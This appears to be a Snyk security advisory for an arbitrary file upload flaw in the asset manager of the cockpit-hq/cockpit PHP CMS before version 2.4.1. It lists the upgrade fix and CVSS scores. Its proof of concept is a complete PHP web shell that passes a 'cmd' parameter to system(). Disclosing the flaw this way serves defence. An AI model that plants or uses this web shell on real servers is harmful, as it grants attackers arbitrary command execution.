Arbitrary File Upload Affecting cockpit-hq/cockpit package, versions <2.4.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.1% (44th percentile)

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  • Snyk ID SNYK-PHP-COCKPITHQCOCKPIT-3358377
  • published 10 Mar 2023
  • disclosed 10 Mar 2023
  • credit choocs

How to fix?

Upgrade cockpit-hq/cockpit to version 2.4.1 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary File Upload due to improper user-input sanitization in the assets manager module.

PoC

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    High
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.8 high